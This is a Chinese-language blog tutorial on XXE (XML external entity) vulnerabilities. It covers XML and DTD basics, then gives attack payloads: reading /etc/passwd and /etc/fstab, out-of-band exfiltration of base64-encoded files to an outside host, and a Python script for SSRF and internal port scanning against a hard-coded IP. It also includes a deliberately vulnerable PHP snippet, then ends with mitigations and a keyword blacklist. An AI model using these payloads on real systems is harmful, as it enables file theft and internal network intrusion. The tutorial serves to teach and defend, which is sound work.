1. 程式人生 > 其它 >XXE漏洞探究

XXE漏洞探究

一、背景知識

XML介紹

XML是一種非常流行的標記語言,ML就是Markup Language 標記語言的縮寫,顧名思義標記語言就是把普通的文字加上標記,讓計算機能夠識別。這裡XML是可擴充套件標記語言,主要用於配置檔案,其他的還有HTML(超文字標記語言),XHTML(可擴充套件超文字標記語言),主要用於網頁檔案等。

XML文件的基礎組成

XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素

1. XML宣告

常用的有說明使用的編碼
<?xml version="1.0" encoding="GB2312" ?>
說明文件是否獨立,是否依賴外部檔案,yes標識需要外部檔案
<?xml version="1.0" standalone="yes" ?>

2. 文件型別定義

也叫做XML約束,XML DTD是XML約束的一種,全稱為文件型別定義
內部宣告DTD
<!DOCTYPE 根元素 [元素宣告]>
元素宣告使用規則:

  • (#PCDATA)指示元素的是正常的標籤字元資料。
  • EMPTY:用於指示元素的主體為空。比如
  • ANY:用於指示元素的主題內容為任意型別。
  • (子元素):指示元素中包含的子元素。

引用外部DTD,有兩種

  1. 引用的DTD文件在本地: <!DOCTYPE 根元素 SYSTEM "檔名">
    <!DOCTYPE 書架 SYSTEM “book.dtd”>
  2. 引用的DTD文件在網路上 <!DOCTYPE 根元素名稱 PUBLIC “DTD標識名” “公用DTD的URI”>

    <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

DTD引用網路文件對協議的支援:

DTD 有兩種資料:

  1. PCDATA(parse character data):要給xml解析器去解析的的資料,這個主要是在DTD約束文件使用
  2. CDATA(character data):用來告訴瀏覽器,這部分內容不用解析,是給其他程式用的,比如js程式碼

3. 元素

XML元素是指XML檔案中出現的標籤,標籤有其實標籤和結束標籤,中間的是主體。標籤中還可以包括屬性

4. 實體

  1. 內部實體與外部實體
    上面說的都是在DTD中定義元素,約束,除了在 DTD 中定義元素(其實就是對應 XML 中的標籤)以外,我們還能在 DTD 中定義實體(對應XML 標籤中的內容),畢竟 ML 中除了能標籤以外,還需要有些內容是固定的,比如:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<!-- ANY表示接受任何元素,定義了一個xml實體,實體其實可以看成一個變數,到時候我們可以在 XML 中通過 & 符號進行引用-->
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

上面這種是內部實體,類似於在內部定義了一個變數,配合前面的引用外部DTD,可以使用外部實體,比如file協議:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

這樣對引用資源所做的任何更改都會在文件中自動更新,非常方便(不安全)

  1. 通用實體與引數實體
    上面說的都是通用實體,除此之外還有另一種引數實體
    (1)使用 % 實體名(這裡面空格不能少) 在 DTD 中定義,並且只能在 DTD 中使用 %實體名; 引用
    (2)只有在 DTD 檔案中,引數實體的宣告才能引用其他實體
    (3)和通用實體一樣,引數實體也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

引數實體就是觸發XXE的關鍵

二、 能做什麼

1.任意檔案讀

從上面的功能,第一反應可以想到的就是本地任意檔案讀,當我們可以控制一個xml時,我們可以傳送一個帶有本地檔案的實體,然後用標籤打印出來
server 漏洞程式碼:

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> 
<creds>&goodies;</creds>

結果:

這個poc有一個問題, 如果讀取的檔案裡面包含標籤的相關字元,比如<>這種,DTD會進行解析,解析失敗就會報錯。因此要用到前面說的CDATA

有些內容可能不想讓解析引擎解析執行,而是當做原始的內容處理,用於把整段資料解析為純字元資料,而不是標記的情況包含大量的 <> & 或者" 字元,CDATA節中的所有字元都會被當做元素字元資料的常量部分

<![CDATA[
XXXXXXXXXXXXXXXXX
]]>

也就是說我們要把CDATA[] 拼接到變數前後,比如直接拼接:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY start "<![CDATA[">
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> 
<!ENTITY end "]]>"
<creds>&start;&goodies;&end;</creds>

實際測試會報錯, 也就是不能在xml中拼接,要拼接以後再在xml中呼叫,那我們只能用引數實體,在另一個DTD中拼接好定義的字串,再定義一個拼接好的交給xml呼叫,這種我們需要另外一個可以訪問的外部DTD

Payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///etc/fstab">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

測試在php7成功讀取到/etc/fatab裡面的各種字元

2. 外帶回顯

使用外部實體實現外部回顯

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

3. SSRF

既然可以讀取遠端讀取到我們server上的evil.dtd,同理也可以訪問伺服器內部造成SSRF,以及內網埠掃描,指令碼:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

4. JSON content-type XXE

般對於web服務來說,最常見的資料格式都是XML和JSON。儘管web服務可能在程式設計時只使用其中一種格式,但伺服器卻可以接受開發人員並沒有預料到的其他資料格式,這就有可能會導致JSON節點受到XXE(XML外部實體)攻擊
HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

現在我們嘗試將 Content-Type 修改為 application/xml 返回包會顯示:

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

這種情況下我們就可以嘗試傳送xml payload進行XXE注入

5. 檔案上傳

java中有一個jar://協議,格式:

jar:{url}!{path}
jar:http://host/application.jar!/file/within/the/zip

具體利用參考文章https://xz.aliyun.com/t/3357

四、修復

方案一:使用語言中推薦的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手動黑名單過濾(不推薦)

過濾關鍵詞:

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

五、參考連結

https://xz.aliyun.com/t/3357